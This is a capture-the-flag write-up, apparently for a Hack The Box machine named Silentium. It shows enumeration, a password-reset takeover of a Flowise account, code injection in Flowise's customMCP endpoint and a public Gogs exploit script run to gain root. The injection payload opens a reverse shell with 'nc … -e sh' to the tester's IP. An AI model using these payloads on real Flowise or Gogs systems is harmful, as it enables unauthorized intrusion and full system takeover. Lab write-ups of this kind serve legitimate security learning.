Port enumeration

nmap -p- --open -vvv -n -Pn -sS --min-rate 5000 10.129.23.206 -oG AllPorts.txt
nmap -p22,80 -sCV --min-rate 5000 10.129.23.206

I found just 2 ports, ssh and http. 313f8c9b69e600aba50572c85ad7a174.png

Web enumeration

ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt -e .php,.txt -fw 1866 -u http://silentium.htb/FUZZ
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u http://silentium.htb/ -fw 6 -H "Host: FUZZ.silentium.htb"

I found one subdomain. 52b76f83aa0f87204c5aa87dc03b690f.png Here I found a flowise instance f26297da5b297a707ee151f23d324849.png I found some big vulnerabilities, but i need an acount to exploit it. 9ab7e1dccbee0fef4f9245046f698e3a.png So, I found another vulnerability who allows me to reset passwords. 8c454ff7eaf9e18ed87012bedc280849.png Searching the main page I found some user names. 7bf132322e61126503e7eedccd7ec841.png

RCE

WIth this, I used a exploit who uses both of this vulns to gain rce.

curl -X POST "http://staging.silentium.htb/api/v1/account/forgot-password" \
  -H "Content-Type: application/json" \
  --data '{"user":{"email":"ben@silentium.htb"}}'

96e7a96add23e8ff8af71cbc2e797b87.png

curl -X POST "http://staging.silentium.htb/api/v1/account/reset-password" \
  -H "Content-Type: application/json" \
  --data '{
    "user": {
      "email": "ben@silentium.htb",
      "tempToken": "NgJhHaddM0y4nhdpdibQKIjlitLpRlW7GuBX63afIZk82tdCVJWzKkUY1tjHIZJc",
      "password": "1234"
    }
  }'

3337c7b6282031facfb5167d27495c88.png Now, with this, I can exploit RCE.

curl -c cookies.txt -i -X POST "http://staging.silentium.htb/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  --data '{"email":"ben@silentium.htb","password":"1234"}'

4c737b8eecff7b660451e210688a3992.png

curl -b cookies.txt -X POST "http://staging.silentium.htb/api/v1/node-load-method/customMCP" \
  -H "Content-Type: application/json" \
  -H "x-request-from: internal" \
  --data '{
    "loadMethod": "listActions",
    "inputs": {
      "mcpServerConfig": "({x:(function(){const cp = process.mainModule.require(\"child_process\");cp.execSync(\"nc 10.10.16.29 9001 -e sh\");return 1;})()})"
    }
  }'

With this, im able to obtain a shell. ba9b83d1e7da00cf807d26308927a20d.png All this is working in a docker. 71c38ab2b93eb1c7d173a21807cb15fc.png

Docker scape.

I found ext4 mounted. e801c0f256a604b224c6bc7a6455cbc0.png From the host filesystem I can only see

/root/.flowise
/etc/hosts
/etc/resolv.conf
/etc/hostname

Here I found a database and a key. 2444f2a92200b60b1a52e6d19b323fe2.png Using deepce i found a good password. eb488dfc326abfb38abfae3803eef11c.png With this, I can log ass ben in the host machine. 75f9503a937cb5dd6397cab0efb658d5.png

Privilege escalation

Checking my capabilities I found who I have cap_sys_admin. 4dc953e7d46d0b59ea748dedef57e6af.png In the services, I found something interesting. c760413d2c12b2a09835b2d744f7d8d2.png Using ssh, I forwarded the port.

ssh -L 8025:127.0.0.1:8025 ben@silentium.htb

95a8dfcfff154a8ab0993a419459075b.png Theres nothing here. I also found something in the port 3001. 7c80826c7b9f8b5b19e187ff6d8cf63f.png Looks like a Gogs instance. a19e9afc93eaa911d74a556910d8ef8b.png 8eecae254048820ab447c7b331dc9f27.png So, I forwarded it.

ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

After a sort search, I found a RCE CVE for gogs 51ce4309de43f0ed772e0711d027514b.png So, I create a account and execute the exploit.

python3 ./cve-2025-8110.py --url http://127.0.0.1:3001 -lh 10.10.16.29 -lp 6666 -U afirot -P afirot

Tras ejecutar el exploit, ya tendremos una consola root. 70beaf5f486a6e2b110eb1ebc1478227.png c62b6dc5b747d2493d3ea2b2cd50e234.png